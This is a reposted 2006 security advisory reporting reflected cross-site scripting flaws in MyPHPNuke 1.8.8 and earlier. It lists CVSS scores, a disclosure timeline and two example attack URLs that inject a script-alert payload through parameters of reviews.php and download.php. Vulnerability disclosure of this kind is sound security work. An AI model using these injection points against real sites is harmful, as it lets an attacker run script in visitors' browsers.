MyPHPNuke <= 1.8.8 multiple XSS vulnerabilities

2006.02.26
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

--Security Report-- Advisory: MyPHPNuke <= 1.8.8 multiple XSS vulnerabilities --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 24/02/06 05:56 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx (at) nukedx (dot) com [email concealed] Web: http://www.nukedx.com } --- Vendor: MPN (www.myphpnuke.com) Version: 1.8.8 and prior versions must be affected. About: Via this method remote attacker can make malicious links for clicking and when victim clicks this links victim's browser would be inject with XSS. Level: Harmless --- How&Example: GET -> http://[site]/reviews.php?op=reviews&letter=[XSS] EXAMPLE -> http://[site]/reviews.php?op=reviews&letter=<script>alert('X');</script> GET -> http://[site]/download.php?sortby=&dcategory=[XSS]&sortby= EXAMPLE -> http://[site]/download.php?sortby=&dcategory=<script>alert('X');</script > -- Timeline: * 24/02/2006: Vulnerability found. * 24/02/2006: Contacted with vendor and waiting reply. -- Original advisory: http://www.nukedx.com/?viewdoc=12


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top